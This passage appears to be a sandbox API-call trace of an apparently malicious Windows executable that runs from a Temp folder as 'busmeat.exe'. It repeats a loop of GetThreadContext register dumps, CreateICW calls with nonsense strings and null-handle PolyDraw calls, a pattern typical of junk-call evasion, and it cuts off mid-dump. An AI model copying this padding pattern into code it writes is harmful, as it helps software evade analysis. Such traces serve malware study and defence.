	[0066.301] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.301] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.302] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.302] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.302] GetConsoleCP () returned 0x0
	[0066.302] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.302] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.304] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.304] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.304] GetConsoleCP () returned 0x0
	[0066.304] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 